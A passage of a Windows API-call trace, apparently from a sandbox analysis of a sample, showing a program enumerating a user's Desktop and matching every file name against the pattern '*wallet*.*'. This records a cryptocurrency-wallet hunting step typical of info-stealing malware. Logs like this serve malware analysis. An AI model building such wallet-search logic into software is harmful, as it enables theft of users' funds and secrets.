lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.665] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.665] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.665] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="xmyz7bDpg-Yp_.avi" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi") returned="\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi" [0146.665] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.665] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x32bb478 [0146.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", cchWideChar=70, lpMultiByteStr=0x32bb478, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\xmyz7bDpg-Yp_.avi", lpUsedDefaultChar=0x0) returned 70 [0146.665] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362bf8 [0146.665] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb478 | out: hHeap=0x2360000) returned 1 [0146.665] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.665] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ee0 [0146.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340ee0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.665] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0146.665] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ee0 | out: hHeap=0x2360000) returned 1 [0146.665] PathMatchSpecW (pszFile="xmyz7bDpg-Yp_.avi", pszSpec="*wallet*.*") returned 0 [0146.665] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0146.666] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362bf8 | out: hHeap=0x2360000) returned 1 [0146.666] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ec9c90, ftCreationTime.dwHighDateTime=0x1d7a1f2, ftLastAccessTime.dwLowDateTime=0xa670a600, ftLastAccessTime.dwHighDateTime=0x1d7aeab, ftLastWriteTime.dwLowDateTime=0xa670a600, ftLastWriteTime.dwHighDateTime=0x1d7aeab, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmyz7bDpg-Yp_.avi", cAlternateFileName="XMYZ7B~1.AVI")) returned 0 [0146.666] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0146.666] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.667] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32baa20 [0146.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x32baa20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpUsedDefaultChar=0x0) returned 52 [0146.667] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba5d0 [0146.667] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baa20 | out: hHeap=0x2360000) returned 1 [0146.667] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.667] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c40 [0146.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.667] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0146.667] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c40 | out: hHeap=0x2360000) returned 1 [0146.667] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*wallet*.*") returned 0 [0146.667] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0146.667] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x2360000) returned 1 [0146.667] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144fca0, ftCreationTime.dwHighDateTime=0x1d7a05d, ftLastAccessTime.dwLowDateTime=0xd49eb340, ftLastAccessTime.dwHighDateTime=0x1d7aa8d, ftLastWriteTime.dwLowDateTime=0xd49eb340, ftLastWriteTime.dwHighDateTime=0x1d7aa8d, nFileSizeHigh=0x0, nFileSizeLow=0x656c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HpDI0J.flv", cAlternateFileName="")) returned 1 [0146.667] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.667] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.667] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="HpDI0J.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv" [0146.667] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.668] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.668] lstrcatW (in: lpString1="\\", lpString2="HpDI0J.flv" | out: lpString1="\\HpDI0J.flv") returned="\\HpDI0J.flv" [0146.668] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.668] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2a) returned 0x33400d0 [0146.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", lpUsedDefaultChar=0x0) returned 42 [0146.668] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.668] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.668] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.668] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340dc0 [0146.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340dc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.668] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0146.668] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340dc0 | out: hHeap=0x2360000) returned 1 [0146.668] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*wallet*.*") returned 0 [0146.668] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0146.669] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.669] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e4c910, ftCreationTime.dwHighDateTime=0x1d7a29a, ftLastAccessTime.dwLowDateTime=0x14e40270, ftLastAccessTime.dwHighDateTime=0x1d7ad13, ftLastWriteTime.dwLowDateTime=0x14e40270, ftLastWriteTime.dwHighDateTime=0x1d7ad13, nFileSizeHigh=0x0, nFileSizeLow=0x4cca, dwReserved0=0x0, dwReserved1=0x0, cFileName="IfzBpGV_K 2s4OumEYx.bmp", cAlternateFileName="IFZBPG~1.BMP")) returned 1 [0146.669] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.669] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.669] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp" [0146.669] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.669] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.669] lstrcatW (in: lpString1="\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="\\IfzBpGV_K 2s4OumEYx.bmp") returned="\\IfzBpGV_K 2s4OumEYx.bmp" [0146.669] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0146.669] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32ba9a0 [0146.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x32ba9a0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", lpUsedDefaultChar=0x0) returned 55 [0146.669] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba6f0 [0146.669] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba9a0 | out: hHeap=0x2360000) returned 1 [0146.673] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.673] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340d40 [0146.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340d40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.673] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0146.673] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0146.673] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*wallet*.*") returned 0 [0146.673] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340510 | out: hHeap=0x2360000) returned 1 [0146.673] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6f0 | out: hHeap=0x2360000) returned 1 [0146.673] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2d4e00, ftCreationTime.dwHighDateTime=0x1d7aeb1, ftLastAccessTime.dwLowDateTime=0x6d8a7ec0, ftLastAccessTime.dwHighDateTime=0x1d7afea, ftLastWriteTime.dwLowDateTime=0x6d8a7ec0, ftLastWriteTime.dwHighDateTime=0x1d7afea, nFileSizeHigh=0x0, nFileSizeLow=0xfc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="itQ3y7 _7jtUy-n5Tj.wav", cAlternateFileName="ITQ3Y7~1.WAV")) returned 1 [0146.673] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.673] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.673] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav" [0146.673] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.673] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.673] lstrcatW (in: lpString1="\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="\\itQ3y7 _7jtUy-n5Tj.wav") returned="\\itQ3y7 _7jtUy-n5Tj.wav" [0146.674] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.674] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32bada0 [0146.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x32bada0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", lpUsedDefaultChar=0x0) returned 54 [0146.674] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba660 [0146.674] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bada0 | out: hHeap=0x2360000) returned 1 [0146.674] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.674] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c80 [0146.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340c80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.674] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0146.674] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0146.674] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*wallet*.*") returned 0 [0146.674] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0146.674] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba660 | out: hHeap=0x2360000) returned 1 [0146.674] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee1fc0, ftCreationTime.dwHighDateTime=0x1d7a281, ftLastAccessTime.dwLowDateTime=0xc160d1b0, ftLastAccessTime.dwHighDateTime=0x1d7a555, ftLastWriteTime.dwLowDateTime=0xc160d1b0, ftLastWriteTime.dwHighDateTime=0x1d7a555, nFileSizeHigh=0x0, nFileSizeLow=0x1065, dwReserved0=0x0, dwReserved1=0x0, cFileName="kftoKnOna.m4a", cAlternateFileName="KFTOKN~1.M4A")) returned 1 [0146.674] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.674] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.674] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="kftoKnOna.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a" [0146.674] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.675] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.675] lstrcatW (in: lpString1="\\", lpString2="kftoKnOna.m4a" | out: lpString1="\\kftoKnOna.m4a") returned="\\kftoKnOna.m4a" [0146.675] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.675] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", lpUsedDefaultChar=0x0) returned 45 [0146.675] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.675] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.675] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.675] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c20 [0146.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340c20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.675] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405d8 [0146.675] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0146.675] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*wallet*.*") returned 0 [0146.675] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405d8 | out: hHeap=0x2360000) returned 1 [0146.675] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.675] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220822b0, ftCreationTime.dwHighDateTime=0x1d7a1b5, ftLastAccessTime.dwLowDateTime=0x795f46e0, ftLastAccessTime.dwHighDateTime=0x1d7a856, ftLastWriteTime.dwLowDateTime=0x795f46e0, ftLastWriteTime.dwHighDateTime=0x1d7a856, nFileSizeHigh=0x0, nFileSizeLow=0x12e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="KrqEI2ID-.bmp", cAlternateFileName="KRQEI2~1.BMP")) returned 1 [0146.675] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.675] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.675] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp" [0146.675] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.676] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.676] lstrcatW (in: lpString1="\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="\\KrqEI2ID-.bmp") returned="\\KrqEI2ID-.bmp" [0146.676] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.676] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", lpUsedDefaultChar=0x0) returned 45 [0146.676] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.676] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.676] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.676] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ee0 [0146.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ee0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.676] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340588 [0146.676] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ee0 | out: hHeap=0x2360000) returned 1 [0146.676] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*wallet*.*") returned 0 [0146.676] 